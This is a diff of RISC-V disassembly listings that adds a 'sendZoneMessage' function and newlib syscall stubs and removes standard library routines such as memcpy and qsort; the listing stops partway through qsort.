-20402fd0:	e411                	bnez	s0,20402fdc <__libc_fini_array+0x28>
-20402fd2:	40b2                	lw	ra,12(sp)
-20402fd4:	4422                	lw	s0,8(sp)
-20402fd6:	4492                	lw	s1,4(sp)
-20402fd8:	0141                	addi	sp,sp,16
-20402fda:	8082                	ret
-20402fdc:	147d                	addi	s0,s0,-1
-20402fde:	00241793          	slli	a5,s0,0x2
-20402fe2:	97a6                	add	a5,a5,s1
-20402fe4:	439c                	lw	a5,0(a5)
-20402fe6:	9782                	jalr	a5
-20402fe8:	b7e5                	j	20402fd0 <__libc_fini_array+0x1c>
+20402046 <sendZoneMessage>:
+20402046:	711d                	addi	sp,sp,-96
+20402048:	caa6                	sw	s1,84(sp)
+2040204a:	c4d2                	sw	s4,72(sp)
+2040204c:	84aa                	mv	s1,a0
+2040204e:	00055a03          	lhu	s4,0(a0)
+20402052:	00002517          	auipc	a0,0x2
+20402056:	21250513          	addi	a0,a0,530 # 20404264 <_exit+0x672>
+2040205a:	c8ca                	sw	s2,80(sp)
+2040205c:	c2d6                	sw	s5,68(sp)
+2040205e:	c0da                	sw	s6,64(sp)
+20402060:	ce86                	sw	ra,92(sp)
+20402062:	cca2                	sw	s0,88(sp)
+20402064:	c6ce                	sw	s3,76(sp)
+20402066:	de5e                	sw	s7,60(sp)
+20402068:	dc62                	sw	s8,56(sp)
+2040206a:	da66                	sw	s9,52(sp)
+2040206c:	8aae                	mv	s5,a1
+2040206e:	8b32                	mv	s6,a2
+20402070:	25a5                	jal	204026d8 <strlen>
+20402072:	0004d903          	lhu	s2,0(s1)
+20402076:	4785                	li	a5,1
+20402078:	090d                	addi	s2,s2,3
+2040207a:	992a                	add	s2,s2,a0
+2040207c:	0942                	slli	s2,s2,0x10
+2040207e:	01095913          	srli	s2,s2,0x10
+20402082:	0efa9863          	bne	s5,a5,20402172 <sendZoneMessage+0x12c>
+20402086:	00002517          	auipc	a0,0x2
+2040208a:	25e50513          	addi	a0,a0,606 # 204042e4 <_exit+0x6f2>
+2040208e:	2395                	jal	204025f2 <iprintf>
+20402090:	85da                	mv	a1,s6
+20402092:	8526                	mv	a0,s1
+20402094:	39c5                	jal	20401d84 <serializeZoneMessage>
+20402096:	842a                	mv	s0,a0
+20402098:	00002517          	auipc	a0,0x2
+2040209c:	26c50513          	addi	a0,a0,620 # 20404304 <_exit+0x712>
+204020a0:	2b89                	jal	204025f2 <iprintf>
+204020a2:	00002517          	auipc	a0,0x2
+204020a6:	27e50513          	addi	a0,a0,638 # 20404320 <_exit+0x72e>
+204020aa:	23a1                	jal	204025f2 <iprintf>
+204020ac:	00002517          	auipc	a0,0x2
+204020b0:	28850513          	addi	a0,a0,648 # 20404334 <_exit+0x742>
+204020b4:	2b3d                	jal	204025f2 <iprintf>
+204020b6:	04100793          	li	a5,65
+204020ba:	00002517          	auipc	a0,0x2
+204020be:	28a50513          	addi	a0,a0,650 # 20404344 <_exit+0x752>
+204020c2:	00f10e23          	sb	a5,28(sp)
+204020c6:	2335                	jal	204025f2 <iprintf>
+204020c8:	00002517          	auipc	a0,0x2
+204020cc:	19c50513          	addi	a0,a0,412 # 20404264 <_exit+0x672>
+204020d0:	2521                	jal	204026d8 <strlen>
+204020d2:	0004d683          	lhu	a3,0(s1)
+204020d6:	00150593          	addi	a1,a0,1
+204020da:	4609                	li	a2,2
+204020dc:	00002517          	auipc	a0,0x2
+204020e0:	28050513          	addi	a0,a0,640 # 2040435c <_exit+0x76a>
+204020e4:	2339                	jal	204025f2 <iprintf>
+204020e6:	00002517          	auipc	a0,0x2
+204020ea:	17e50513          	addi	a0,a0,382 # 20404264 <_exit+0x672>
+204020ee:	23ed                	jal	204026d8 <strlen>
+204020f0:	00350593          	addi	a1,a0,3
+204020f4:	8652                	mv	a2,s4
+204020f6:	95a2                	add	a1,a1,s0
+204020f8:	0868                	addi	a0,sp,28
+204020fa:	2e3d                	jal	20402438 <memcpy>
+204020fc:	00002517          	auipc	a0,0x2
+20402100:	16850513          	addi	a0,a0,360 # 20404264 <_exit+0x672>
+20402104:	2bd1                	jal	204026d8 <strlen>
+20402106:	9522                	add	a0,a0,s0
+20402108:	00155603          	lhu	a2,1(a0)
+2040210c:	01c14683          	lbu	a3,28(sp)
+20402110:	85a2                	mv	a1,s0
+20402112:	00002517          	auipc	a0,0x2
+20402116:	29a50513          	addi	a0,a0,666 # 204043ac <_exit+0x7ba>
+2040211a:	29e1                	jal	204025f2 <iprintf>
+2040211c:	4785                	li	a5,1
+2040211e:	00fb1363          	bne	s6,a5,20402124 <sendZoneMessage+0xde>
+20402122:	4481                	li	s1,0
+20402124:	4981                	li	s3,0
+20402126:	4a3d                	li	s4,15
+20402128:	4b05                	li	s6,1
+2040212a:	00002b97          	auipc	s7,0x2
+2040212e:	2d6b8b93          	addi	s7,s7,726 # 20404400 <_exit+0x80e>
+20402132:	00002c17          	auipc	s8,0x2
+20402136:	132c0c13          	addi	s8,s8,306 # 20404264 <_exit+0x672>
+2040213a:	00002c97          	auipc	s9,0x2
+2040213e:	2b6c8c93          	addi	s9,s9,694 # 204043f0 <_exit+0x7fe>
+20402142:	0d29ef63          	bltu	s3,s2,20402220 <sendZoneMessage+0x1da>
+20402146:	4785                	li	a5,1
+20402148:	00fa9763          	bne	s5,a5,20402156 <sendZoneMessage+0x110>
+2040214c:	00002517          	auipc	a0,0x2
+20402150:	2c050513          	addi	a0,a0,704 # 2040440c <_exit+0x81a>
+20402154:	2979                	jal	204025f2 <iprintf>
+20402156:	40f6                	lw	ra,92(sp)
+20402158:	4466                	lw	s0,88(sp)
+2040215a:	4946                	lw	s2,80(sp)
+2040215c:	49b6                	lw	s3,76(sp)
+2040215e:	4a26                	lw	s4,72(sp)
+20402160:	4a96                	lw	s5,68(sp)
+20402162:	4b06                	lw	s6,64(sp)
+20402164:	5bf2                	lw	s7,60(sp)
+20402166:	5c62                	lw	s8,56(sp)
+20402168:	5cd2                	lw	s9,52(sp)
+2040216a:	8526                	mv	a0,s1
+2040216c:	44d6                	lw	s1,84(sp)
+2040216e:	6125                	addi	sp,sp,96
+20402170:	8082                	ret
+20402172:	4789                	li	a5,2
+20402174:	fafa94e3          	bne	s5,a5,2040211c <sendZoneMessage+0xd6>
+20402178:	85da                	mv	a1,s6
+2040217a:	8526                	mv	a0,s1
+2040217c:	3121                	jal	20401d84 <serializeZoneMessage>
+2040217e:	842a                	mv	s0,a0
+20402180:	001a0513          	addi	a0,s4,1
+20402184:	2455                	jal	20402428 <malloc>
+20402186:	89aa                	mv	s3,a0
+20402188:	00002517          	auipc	a0,0x2
+2040218c:	0dc50513          	addi	a0,a0,220 # 20404264 <_exit+0x672>
+20402190:	23a1                	jal	204026d8 <strlen>
+20402192:	00350593          	addi	a1,a0,3
+20402196:	8652                	mv	a2,s4
+20402198:	95a2                	add	a1,a1,s0
+2040219a:	854e                	mv	a0,s3
+2040219c:	2c71                	jal	20402438 <memcpy>
+2040219e:	9a4e                	add	s4,s4,s3
+204021a0:	000a0023          	sb	zero,0(s4)
+204021a4:	08000513          	li	a0,128
+204021a8:	2441                	jal	20402428 <malloc>
+204021aa:	8a2a                	mv	s4,a0
+204021ac:	08000613          	li	a2,128
+204021b0:	4581                	li	a1,0
+204021b2:	24c9                	jal	20402474 <memset>
+204021b4:	060a0363          	beqz	s4,2040221a <sendZoneMessage+0x1d4>
+204021b8:	00002517          	auipc	a0,0x2
+204021bc:	0ac50513          	addi	a0,a0,172 # 20404264 <_exit+0x672>
+204021c0:	2b21                	jal	204026d8 <strlen>
+204021c2:	9522                	add	a0,a0,s0
+204021c4:	00155703          	lhu	a4,1(a0)
+204021c8:	87ce                	mv	a5,s3
+204021ca:	86a2                	mv	a3,s0
+204021cc:	00002617          	auipc	a2,0x2
+204021d0:	20460613          	addi	a2,a2,516 # 204043d0 <_exit+0x7de>
+204021d4:	08000593          	li	a1,128
+204021d8:	8552                	mv	a0,s4
+204021da:	29a5                	jal	20402652 <sniprintf>
+204021dc:	4341                	li	t1,16
+204021de:	02654333          	div	t1,a0,t1
+204021e2:	4801                	li	a6,0
+204021e4:	4e09                	li	t3,2
+204021e6:	03034863          	blt	t1,a6,20402216 <sendZoneMessage+0x1d0>
+204021ea:	00481893          	slli	a7,a6,0x4
+204021ee:	98d2                	add	a7,a7,s4
+204021f0:	a021                	j	204021f8 <sendZoneMessage+0x1b2>
+204021f2:	4501                	li	a0,0
+204021f4:	00300073          	0x300073
+204021f8:	85f2                	mv	a1,t3
+204021fa:	0008a603          	lw	a2,0(a7)
+204021fe:	0048a683          	lw	a3,4(a7)
+20402202:	0088a703          	lw	a4,8(a7)
+20402206:	00c8a783          	lw	a5,12(a7)
+2040220a:	4509                	li	a0,2
+2040220c:	00300073          	0x300073
+20402210:	d16d                	beqz	a0,204021f2 <sendZoneMessage+0x1ac>
+20402212:	0805                	addi	a6,a6,1
+20402214:	bfc9                	j	204021e6 <sendZoneMessage+0x1a0>
+20402216:	8552                	mv	a0,s4
+20402218:	2c21                	jal	20402430 <free>
+2040221a:	854e                	mv	a0,s3
+2040221c:	2c11                	jal	20402430 <free>
+2040221e:	bdfd                	j	2040211c <sendZoneMessage+0xd6>
+20402220:	4641                	li	a2,16
+20402222:	4581                	li	a1,0
+20402224:	0068                	addi	a0,sp,12
+20402226:	24b9                	jal	20402474 <memset>
+20402228:	413907b3          	sub	a5,s2,s3
+2040222c:	4641                	li	a2,16
+2040222e:	00fa4563          	blt	s4,a5,20402238 <sendZoneMessage+0x1f2>
+20402232:	01079613          	slli	a2,a5,0x10
+20402236:	8241                	srli	a2,a2,0x10
+20402238:	013405b3          	add	a1,s0,s3
+2040223c:	0068                	addi	a0,sp,12
+2040223e:	2aed                	jal	20402438 <memcpy>
+20402240:	85d6                	mv	a1,s5
+20402242:	4632                	lw	a2,12(sp)
+20402244:	46c2                	lw	a3,16(sp)
+20402246:	4752                	lw	a4,20(sp)
+20402248:	47e2                	lw	a5,24(sp)
+2040224a:	4509                	li	a0,2
+2040224c:	00300073          	0x300073
+20402250:	c91d                	beqz	a0,20402286 <sendZoneMessage+0x240>
+20402252:	09c1                	addi	s3,s3,16
+20402254:	09c2                	slli	s3,s3,0x10
+20402256:	0109d993          	srli	s3,s3,0x10
+2040225a:	036a9463          	bne	s5,s6,20402282 <sendZoneMessage+0x23c>
+2040225e:	4641                	li	a2,16
+20402260:	006c                	addi	a1,sp,12
+20402262:	0868                	addi	a0,sp,28
+20402264:	2ad1                	jal	20402438 <memcpy>
+20402266:	47c1                	li	a5,16
+20402268:	02010623          	sb	zero,44(sp)
+2040226c:	02f99163          	bne	s3,a5,2040228e <sendZoneMessage+0x248>
+20402270:	8562                	mv	a0,s8
+20402272:	219d                	jal	204026d8 <strlen>
+20402274:	181c                	addi	a5,sp,48
+20402276:	953e                	add	a0,a0,a5
+20402278:	fed54603          	lbu	a2,-19(a0)
+2040227c:	086c                	addi	a1,sp,28
+2040227e:	8566                	mv	a0,s9
+20402280:	2e8d                	jal	204025f2 <iprintf>
+20402282:	ed29f2e3          	bgeu	s3,s2,20402146 <sendZoneMessage+0x100>
+20402286:	4501                	li	a0,0
+20402288:	00300073          	0x300073
+2040228c:	bd5d                	j	20402142 <sendZoneMessage+0xfc>
+2040228e:	01c14583          	lbu	a1,28(sp)
+20402292:	855e                	mv	a0,s7
+20402294:	2eb9                	jal	204025f2 <iprintf>
+20402296:	b7f5                	j	20402282 <sendZoneMessage+0x23c>
 
-20402fea <__libc_init_array>:
-20402fea:	1141                	addi	sp,sp,-16
-20402fec:	c422                	sw	s0,8(sp)
-20402fee:	c226                	sw	s1,4(sp)
-20402ff0:	fffff417          	auipc	s0,0xfffff
-20402ff4:	88040413          	addi	s0,s0,-1920 # 20401870 <exit>
-20402ff8:	fffff497          	auipc	s1,0xfffff
-20402ffc:	87848493          	addi	s1,s1,-1928 # 20401870 <exit>
-20403000:	8c81                	sub	s1,s1,s0
-20403002:	c04a                	sw	s2,0(sp)
-20403004:	c606                	sw	ra,12(sp)
-20403006:	8489                	srai	s1,s1,0x2
-20403008:	4901                	li	s2,0
-2040300a:	02991563          	bne	s2,s1,20403034 <__libc_init_array+0x4a>
-2040300e:	fffff417          	auipc	s0,0xfffff
-20403012:	86240413          	addi	s0,s0,-1950 # 20401870 <exit>
-20403016:	fffff497          	auipc	s1,0xfffff
-2040301a:	85a48493          	addi	s1,s1,-1958 # 20401870 <exit>
-2040301e:	8c81                	sub	s1,s1,s0
-20403020:	8489                	srai	s1,s1,0x2
-20403022:	4901                	li	s2,0
-20403024:	00991d63          	bne	s2,s1,2040303e <__libc_init_array+0x54>
-20403028:	40b2                	lw	ra,12(sp)
-2040302a:	4422                	lw	s0,8(sp)
-2040302c:	4492                	lw	s1,4(sp)
-2040302e:	4902                	lw	s2,0(sp)
-20403030:	0141                	addi	sp,sp,16
-20403032:	8082                	ret
-20403034:	401c                	lw	a5,0(s0)
-20403036:	0905                	addi	s2,s2,1
-20403038:	0411                	addi	s0,s0,4
-2040303a:	9782                	jalr	a5
-2040303c:	b7f9                	j	2040300a <__libc_init_array+0x20>
-2040303e:	401c                	lw	a5,0(s0)
-20403040:	0905                	addi	s2,s2,1
-20403042:	0411                	addi	s0,s0,4
-20403044:	9782                	jalr	a5
-20403046:	bff9                	j	20403024 <__libc_init_array+0x3a>
+20402298 <_close>:
+20402298:	557d                	li	a0,-1
+2040229a:	8082                	ret
 
-20403048 <memcpy>:
-20403048:	832a                	mv	t1,a0
-2040304a:	ca09                	beqz	a2,2040305c <memcpy+0x14>
-2040304c:	00058383          	lb	t2,0(a1)
-20403050:	00730023          	sb	t2,0(t1)
-20403054:	167d                	addi	a2,a2,-1
-20403056:	0305                	addi	t1,t1,1
-20403058:	0585                	addi	a1,a1,1
-2040305a:	fa6d                	bnez	a2,2040304c <memcpy+0x4>
-2040305c:	8082                	ret
+2040229c <_fstat>:
+2040229c:	6789                	lui	a5,0x2
+2040229e:	c1dc                	sw	a5,4(a1)
+204022a0:	4501                	li	a0,0
+204022a2:	8082                	ret
 
-2040305e <memmove>:
-2040305e:	c215                	beqz	a2,20403082 <memmove+0x24>
-20403060:	832a                	mv	t1,a0
-20403062:	4685                	li	a3,1
-20403064:	00b56763          	bltu	a0,a1,20403072 <memmove+0x14>
-20403068:	56fd                	li	a3,-1
-2040306a:	fff60713          	addi	a4,a2,-1
-2040306e:	933a                	add	t1,t1,a4
-20403070:	95ba                	add	a1,a1,a4
-20403072:	00058383          	lb	t2,0(a1)
-20403076:	00730023          	sb	t2,0(t1)
-2040307a:	167d                	addi	a2,a2,-1
-2040307c:	9336                	add	t1,t1,a3
-2040307e:	95b6                	add	a1,a1,a3
-20403080:	fa6d                	bnez	a2,20403072 <memmove+0x14>
-20403082:	8082                	ret
+204022a4 <_sbrk>:
+204022a4:	81018713          	addi	a4,gp,-2032 # 8000d870 <_heap_ptr.0>
+204022a8:	87aa                	mv	a5,a0
+204022aa:	4308                	lw	a0,0(a4)
+204022ac:	18018693          	addi	a3,gp,384 # 8000e1e0 <_end>
+204022b0:	97aa                	add	a5,a5,a0
+204022b2:	00d7e863          	bltu	a5,a3,204022c2 <_sbrk+0x1e>
+204022b6:	7a018693          	addi	a3,gp,1952 # 8000e800 <_heap_end>
+204022ba:	00f6e463          	bltu	a3,a5,204022c2 <_sbrk+0x1e>
+204022be:	c31c                	sw	a5,0(a4)
+204022c0:	8082                	ret
+204022c2:	557d                	li	a0,-1
+204022c4:	8082                	ret
 
-20403084 <memset>:
-20403084:	832a                	mv	t1,a0
-20403086:	c611                	beqz	a2,20403092 <memset+0xe>
-20403088:	00b30023          	sb	a1,0(t1)
-2040308c:	167d                	addi	a2,a2,-1
-2040308e:	0305                	addi	t1,t1,1
-20403090:	fe65                	bnez	a2,20403088 <memset+0x4>
-20403092:	8082                	ret
+204022c6 <_isatty>:
+204022c6:	00353513          	sltiu	a0,a0,3
+204022ca:	8082                	ret
 
-20403094 <iprintf>:
-20403094:	715d                	addi	sp,sp,-80
-20403096:	d422                	sw	s0,40(sp)
-20403098:	d606                	sw	ra,44(sp)
-2040309a:	842a                	mv	s0,a0
-2040309c:	da2e                	sw	a1,52(sp)
-2040309e:	dc32                	sw	a2,56(sp)
-204030a0:	de36                	sw	a3,60(sp)
-204030a2:	c0ba                	sw	a4,64(sp)
-204030a4:	c2be                	sw	a5,68(sp)
-204030a6:	c4c2                	sw	a6,72(sp)
-204030a8:	c6c6                	sw	a7,76(sp)
-204030aa:	80c1a503          	lw	a0,-2036(gp) # 8000d87c <_impure_ptr>
-204030ae:	c519                	beqz	a0,204030bc <iprintf+0x28>
-204030b0:	4d1c                	lw	a5,24(a0)
-204030b2:	e789                	bnez	a5,204030bc <iprintf+0x28>
-204030b4:	c62a                	sw	a0,12(sp)
-204030b6:	247000ef          	jal	ra,20403afc <__sinit>
-204030ba:	4532                	lw	a0,12(sp)
-204030bc:	450c                	lw	a1,8(a0)
-204030be:	1854                	addi	a3,sp,52
-204030c0:	8622                	mv	a2,s0
-204030c2:	ce36                	sw	a3,28(sp)
-204030c4:	476010ef          	jal	ra,2040453a <_vfiprintf_r>
-204030c8:	50b2                	lw	ra,44(sp)
-204030ca:	5422                	lw	s0,40(sp)
-204030cc:	6161                	addi	sp,sp,80
-204030ce:	8082                	ret
+204022cc <_lseek>:
+204022cc:	4501                	li	a0,0
+204022ce:	8082                	ret
 
-204030d0 <swapfunc>:
-204030d0:	4709                	li	a4,2
-204030d2:	87aa                	mv	a5,a0
-204030d4:	00c50833          	add	a6,a0,a2
-204030d8:	00e68e63          	beq	a3,a4,204030f4 <swapfunc+0x24>
-204030dc:	8209                	srli	a2,a2,0x2
-204030de:	4198                	lw	a4,0(a1)
-204030e0:	411c                	lw	a5,0(a0)
-204030e2:	0591                	addi	a1,a1,4
-204030e4:	167d                	addi	a2,a2,-1
-204030e6:	c118                	sw	a4,0(a0)
-204030e8:	fef5ae23          	sw	a5,-4(a1)
-204030ec:	0511                	addi	a0,a0,4
-204030ee:	fec048e3          	bgtz	a2,204030de <swapfunc+0xe>
-204030f2:	8082                	ret
-204030f4:	0005c683          	lbu	a3,0(a1)
-204030f8:	0007c703          	lbu	a4,0(a5) # 10000 <__stack_size+0xf800>
-204030fc:	0585                	addi	a1,a1,1
-204030fe:	0785                	addi	a5,a5,1
-20403100:	fed78fa3          	sb	a3,-1(a5)
-20403104:	fee58fa3          	sb	a4,-1(a1)
-20403108:	40f80733          	sub	a4,a6,a5
-2040310c:	fee044e3          	bgtz	a4,204030f4 <swapfunc+0x24>
-20403110:	8082                	ret
+204022d0 <_open>:
+204022d0:	1141                	addi	sp,sp,-16
+204022d2:	00002597          	auipc	a1,0x2
+204022d6:	c7658593          	addi	a1,a1,-906 # 20403f48 <_exit+0x356>
+204022da:	c606                	sw	ra,12(sp)
+204022dc:	26d5                	jal	204026c0 <strcmp>
+204022de:	ed11                	bnez	a0,204022fa <_open+0x2a>
+204022e0:	100137b7          	lui	a5,0x10013
+204022e4:	23300713          	li	a4,563
+204022e8:	cf98                	sw	a4,24(a5)
+204022ea:	4705                	li	a4,1
+204022ec:	c798                	sw	a4,8(a5)
+204022ee:	c7d8                	sw	a4,12(a5)
+204022f0:	4709                	li	a4,2
+204022f2:	cb98                	sw	a4,16(a5)
+204022f4:	40b2                	lw	ra,12(sp)
+204022f6:	0141                	addi	sp,sp,16
+204022f8:	8082                	ret
+204022fa:	557d                	li	a0,-1
+204022fc:	bfe5                	j	204022f4 <_open+0x24>
 
-20403112 <med3.constprop.0>:
-20403112:	1101                	addi	sp,sp,-32
-20403114:	cc22                	sw	s0,24(sp)
-20403116:	ca26                	sw	s1,20(sp)
-20403118:	c84a                	sw	s2,16(sp)
-2040311a:	c64e                	sw	s3,12(sp)
-2040311c:	842e                	mv	s0,a1
-2040311e:	84b2                	mv	s1,a2
-20403120:	ce06                	sw	ra,28(sp)
-20403122:	89aa                	mv	s3,a0
-20403124:	8936                	mv	s2,a3
-20403126:	9682                	jalr	a3
-20403128:	85a6                	mv	a1,s1
-2040312a:	02055463          	bgez	a0,20403152 <med3.constprop.0+0x40>
-2040312e:	8522                	mv	a0,s0
-20403130:	9902                	jalr	s2
-20403132:	00054863          	bltz	a0,20403142 <med3.constprop.0+0x30>
-20403136:	85a6                	mv	a1,s1
-20403138:	854e                	mv	a0,s3
-2040313a:	9902                	jalr	s2
-2040313c:	02054463          	bltz	a0,20403164 <med3.constprop.0+0x52>
-20403140:	844e                	mv	s0,s3
-20403142:	40f2                	lw	ra,28(sp)
-20403144:	8522                	mv	a0,s0
-20403146:	4462                	lw	s0,24(sp)
-20403148:	44d2                	lw	s1,20(sp)
-2040314a:	4942                	lw	s2,16(sp)
-2040314c:	49b2                	lw	s3,12(sp)
-2040314e:	6105                	addi	sp,sp,32
-20403150:	8082                	ret
-20403152:	8522                	mv	a0,s0
-20403154:	9902                	jalr	s2
-20403156:	fea046e3          	bgtz	a0,20403142 <med3.constprop.0+0x30>
-2040315a:	85a6                	mv	a1,s1
-2040315c:	854e                	mv	a0,s3
-2040315e:	9902                	jalr	s2
-20403160:	fe0540e3          	bltz	a0,20403140 <med3.constprop.0+0x2e>
-20403164:	8426                	mv	s0,s1
-20403166:	bff1                	j	20403142 <med3.constprop.0+0x30>
+204022fe <_read>:
+204022fe:	1141                	addi	sp,sp,-16
+20402300:	c422                	sw	s0,8(sp)
+20402302:	c226                	sw	s1,4(sp)
+20402304:	c606                	sw	ra,12(sp)
+20402306:	842e                	mv	s0,a1
+20402308:	84b2                	mv	s1,a2
+2040230a:	29a1                	jal	20402762 <isatty>
+2040230c:	c505                	beqz	a0,20402334 <_read+0x36>
+2040230e:	4501                	li	a0,0
+20402310:	10013737          	lui	a4,0x10013
+20402314:	00950563          	beq	a0,s1,2040231e <_read+0x20>
+20402318:	435c                	lw	a5,4(a4)
+2040231a:	00f04763          	bgtz	a5,20402328 <_read+0x2a>
+2040231e:	40b2                	lw	ra,12(sp)
+20402320:	4422                	lw	s0,8(sp)
+20402322:	4492                	lw	s1,4(sp)
+20402324:	0141                	addi	sp,sp,16
+20402326:	8082                	ret
+20402328:	00a406b3          	add	a3,s0,a0
+2040232c:	00f68023          	sb	a5,0(a3)
+20402330:	0505                	addi	a0,a0,1
+20402332:	b7cd                	j	20402314 <_read+0x16>
+20402334:	557d                	li	a0,-1
+20402336:	b7e5                	j	2040231e <_read+0x20>
 
-20403168 <qsort>:
-20403168:	7175                	addi	sp,sp,-144
-2040316a:	00c56733          	or	a4,a0,a2
-2040316e:	c14a                	sw	s2,128(sp)
-20403170:	dece                	sw	s3,124(sp)
-20403172:	dcd2                	sw	s4,120(sp)
-20403174:	d8da                	sw	s6,112(sp)
-20403176:	c706                	sw	ra,140(sp)
-20403178:	c522                	sw	s0,136(sp)
-2040317a:	c326                	sw	s1,132(sp)
-2040317c:	dad6                	sw	s5,116(sp)
-2040317e:	d6de                	sw	s7,108(sp)
-20403180:	d4e2                	sw	s8,104(sp)
-20403182:	d2e6                	sw	s9,100(sp)
-20403184:	d0ea                	sw	s10,96(sp)
-20403186:	ceee                	sw	s11,92(sp)
-20403188:	8b0d                	andi	a4,a4,3
-2040318a:	892a                	mv	s2,a0
-2040318c:	8b32                	mv	s6,a2
-2040318e:	8a36                	mv	s4,a3
-20403190:	4989                	li	s3,2
-20403192:	e709                	bnez	a4,2040319c <qsort+0x34>
-20403194:	ffc60993          	addi	s3,a2,-4
-20403198:	013039b3          	snez	s3,s3
-2040319c:	4a81                	li	s5,0
-2040319e:	03658433          	mul	s0,a1,s6
-204031a2:	4799                	li	a5,6
-204031a4:	01690d33          	add	s10,s2,s6
-204031a8:	00890cb3          	add	s9,s2,s0
-204031ac:	04b7ef63          	bltu	a5,a1,2040320a <qsort+0xa2>
-204031b0:	039d6963          	bltu	s10,s9,204031e2 <qsort+0x7a>
-204031b4:	220a9b63          	bnez	s5,204033ea <qsort+0x282>
-204031b8:	40ba                	lw	ra,140(sp)
-204031ba:	442a                	lw	s0,136(sp)
-204031bc:	449a                	lw	s1,132(sp)
-204031be:	490a                	lw	s2,128(sp)
-204031c0:	59f6                	lw	s3,124(sp)
-204031c2:	5a66                	lw	s4,120(sp)
-204031c4:	5ad6                	lw	s5,116(sp)
-204031c6:	5b46                	lw	s6,112(sp)
-204031c8:	5bb6                	lw	s7,108(sp)
-204031ca:	5c26                	lw	s8,104(sp)
-204031cc:	5c96                	lw	s9,100(sp)
-204031ce:	5d06                	lw	s10,96(sp)
-204031d0:	4df6                	lw	s11,92(sp)
-204031d2:	6149                	addi	sp,sp,144
-204031d4:	8082                	ret
-204031d6:	86ce                	mv	a3,s3
-204031d8:	865a                	mv	a2,s6
-204031da:	85a6                	mv	a1,s1
-204031dc:	8522                	mv	a0,s0
-204031de:	3dcd                	jal	204030d0 <swapfunc>
-204031e0:	a005                	j	20403200 <qsort+0x98>
-204031e2:	846a                	mv	s0,s10
-204031e4:	a839                	j	20403202 <qsort+0x9a>
-204031e6:	416404b3          	sub	s1,s0,s6
-204031ea:	85a2                	mv	a1,s0
-204031ec:	8526                	mv	a0,s1
-204031ee:	9a02                	jalr	s4
-204031f0:	00a05b63          	blez	a0,20403206 <qsort+0x9e>
-204031f4:	fe0991e3          	bnez	s3,204031d6 <qsort+0x6e>
-204031f8:	4094                	lw	a3,0(s1)
-204031fa:	4018                	lw	a4,0(s0)
-204031fc:	c014                	sw	a3,0(s0)
-204031fe:	c098                	sw	a4,0(s1)
-20403200:	8426                	mv	s0,s1
-20403202:	fe8962e3          	bltu	s2,s0,204031e6 <qsort+0x7e>
-20403206:	9d5a                	add	s10,s10,s6
-20403208:	b765                	j	204031b0 <qsort+0x48>
-2040320a:	0015dd93          	srli	s11,a1,0x1
-2040320e:	036d8db3          	mul	s11,s11,s6
-20403212:	41640433          	sub	s0,s0,s6
-20403216:	479d                	li	a5,7
-20403218:	00890bb3          	add	s7,s2,s0
-2040321c:	9dca                	add	s11,s11,s2
-2040321e:	04f58863          	beq	a1,a5,2040326e <qsort+0x106>
-20403222:	02800793          	li	a5,40
-20403226:	08b7f863          	bgeu	a5,a1,204032b6 <qsort+0x14e>
-2040322a:	818d                	srli	a1,a1,0x3
-2040322c:	036584b3          	mul	s1,a1,s6
-20403230:	86d2                	mv	a3,s4
-20403232:	854a                	mv	a0,s2
-20403234:	009905b3          	add	a1,s2,s1
-20403238:	00958633          	add	a2,a1,s1
-2040323c:	3dd9                	jal	20403112 <med3.constprop.0>
-2040323e:	009d8633          	add	a2,s11,s1
-20403242:	85ee                	mv	a1,s11
-20403244:	86d2                	mv	a3,s4
-20403246:	842a                	mv	s0,a0
-20403248:	409d8533          	sub	a0,s11,s1
-2040324c:	35d9                	jal	20403112 <med3.constprop.0>
-2040324e:	8daa                	mv	s11,a0
-20403250:	00149513          	slli	a0,s1,0x1
-20403254:	40ab8533          	sub	a0,s7,a0
-20403258:	865e                	mv	a2,s7
-2040325a:	86d2                	mv	a3,s4
-2040325c:	009505b3          	add	a1,a0,s1
-20403260:	3d4d                	jal	20403112 <med3.constprop.0>
-20403262:	862a                	mv	a2,a0
-20403264:	85ee                	mv	a1,s11
-20403266:	86d2                	mv	a3,s4
-20403268:	8522                	mv	a0,s0
-2040326a:	3565                	jal	20403112 <med3.constprop.0>
-2040326c:	8daa                	mv	s11,a0
-2040326e:	04099763          	bnez	s3,204032bc <qsort+0x154>
-20403272:	000da603          	lw	a2,0(s11)
-20403276:	00092683          	lw	a3,0(s2)
-2040327a:	00c92023          	sw	a2,0(s2)
-2040327e:	00dda023          	sw	a3,0(s11)
-20403282:	8c6a                	mv	s8,s10
-20403284:	84de                	mv	s1,s7
-20403286:	8dea                	mv	s11,s10
-20403288:	4401                	li	s0,0
-2040328a:	078be463          	bltu	s7,s8,204032f2 <qsort+0x18a>
-2040328e:	85ca                	mv	a1,s2
-20403290:	8562                	mv	a0,s8
-20403292:	9a02                	jalr	s4
-20403294:	06a04a63          	bgtz	a0,20403308 <qsort+0x1a0>
-20403298:	ed09                	bnez	a0,204032b2 <qsort+0x14a>
-2040329a:	02099763          	bnez	s3,204032c8 <qsort+0x160>
-2040329e:	000c2603          	lw	a2,0(s8)
-204032a2:	000da683          	lw	a3,0(s11)
-204032a6:	00cda023          	sw	a2,0(s11)
-204032aa:	00dc2023          	sw	a3,0(s8)
-204032ae:	9dda                	add	s11,s11,s6
-204032b0:	4405                	li	s0,1
-204032b2:	9c5a                	add	s8,s8,s6
-204032b4:	bfd9                	j	2040328a <qsort+0x122>
-204032b6:	865e                	mv	a2,s7
-204032b8:	844a                	mv	s0,s2
-204032ba:	b76d                	j	20403264 <qsort+0xfc>
-204032bc:	86ce                	mv	a3,s3
-204032be:	865a                	mv	a2,s6
-204032c0:	85ee                	mv	a1,s11
-204032c2:	854a                	mv	a0,s2
-204032c4:	3531                	jal	204030d0 <swapfunc>
-204032c6:	bf75                	j	20403282 <qsort+0x11a>
-204032c8:	86ce                	mv	a3,s3
-204032ca:	865a                	mv	a2,s6
-204032cc:	85e2                	mv	a1,s8
-204032ce:	856e                	mv	a0,s11
-204032d0:	3501                	jal	204030d0 <swapfunc>
-204032d2:	bff1                	j	204032ae <qsort+0x146>
-204032d4:	ed01                	bnez	a0,204032ec <qsort+0x184>
-204032d6:	02099363          	bnez	s3,204032fc <qsort+0x194>
-204032da:	4090                	lw	a2,0(s1)
-204032dc:	000ba683          	lw	a3,0(s7)
-204032e0:	00cba023          	sw	a2,0(s7)
-204032e4:	c094                	sw	a3,0(s1)
-204032e6:	416484b3          	sub	s1,s1,s6
-204032ea:	4405                	li	s0,1
-204032ec:	4bb2                	lw	s7,12(sp)
-204032ee:	018bfd63          	bgeu	s7,s8,20403308 <qsort+0x1a0>
